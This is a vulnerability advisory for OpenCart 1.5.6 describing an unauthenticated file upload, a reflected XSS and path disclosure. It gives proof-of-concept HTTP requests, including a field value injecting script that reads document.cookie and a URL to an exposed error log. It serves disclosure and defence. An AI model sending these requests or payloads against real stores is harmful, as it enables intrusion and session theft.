########################################################################### # Title: Opencart Multiple Vulnerabilities # Vendor: http://www.opencart.com # Vulnerabilities: Arbitrary File Upload, XSS, Path Disclosure # Vulnerable Version: opencart 1.5.6 (prior versions also may be affected) # Exploitation: Remote with browser # Impact: High # Vendor Supplied Patch: N/A # Original Advisory with Workaround: # http://www.garda.ir/Opencart_Multiple_Vulnerabilities.html ########################################################################### #################### - Description: #################### Quote from vendor: OpenCart is a turn-key ready "out of the box" shopping cart solution. You simply install, select your template, add products and you're ready to start accepting orders. #################### - Vulnerability: #################### In the process of optimizing our crawler engine by garda.ir (garda.ir is a Persian online shopping price comparison service which uses new search engine technologies to grab prices) we found file upload vulnerability in opencart application, further investigation lead us to discover other vulnerabilities such as path disclosure and xss. #################### - POC: #################### # 1 # File Upload # Insufficient Authorization in /catalog/controller/product/product.php # Result: testupload.txt.somehash is created in /download folder POST /opencart-1.5.6/index.php?route=product/product/upload HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=---------------------------4827543632391 Content-Length: 206 Connection: Keep-Alive -----------------------------4827543632391 Content-Disposition: form-data; name="file"; filename="testupload.txt" Content-Type: text/plain testtesttest -----------------------------4827543632391-- # 2 # Reflected XSS and Path Disclosure # Input Validation Error in /catalog/controller/account/register.php # Result: this will cause arbitrary scripting code to be executed by the # target user's browser. POST /opencart-1.5.6/index.php?route=account/register HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------1e7a98bc645efbe7 Content-Length: 181 Host: example.com Connection: Keep-Alive -----------------------------1e7a98bc645efbe7 Content-Disposition: form-data; name="zone_id" 12345'+alert(document.cookie)+' -----------------------------1e7a98bc645efbe7-- # 3 # Information Leakage ? Path Disclosure # Insufficient Authorization in /system/logs/error.txt # Result: Information Disclosure http://www.example.com/opencart-1.5.6/system/logs/error.txt #################### - Solution: #################### There is no Vendor Supplied Patch at the time of this entry. For workaround check the Original Advisory. #################### - Credit: #################### Discovered by: trueend5 (trueend5 [at] yahoo com) This advisory is sponsored by garda.ir http://www.garda.ir A Persian online shopping price comparison service
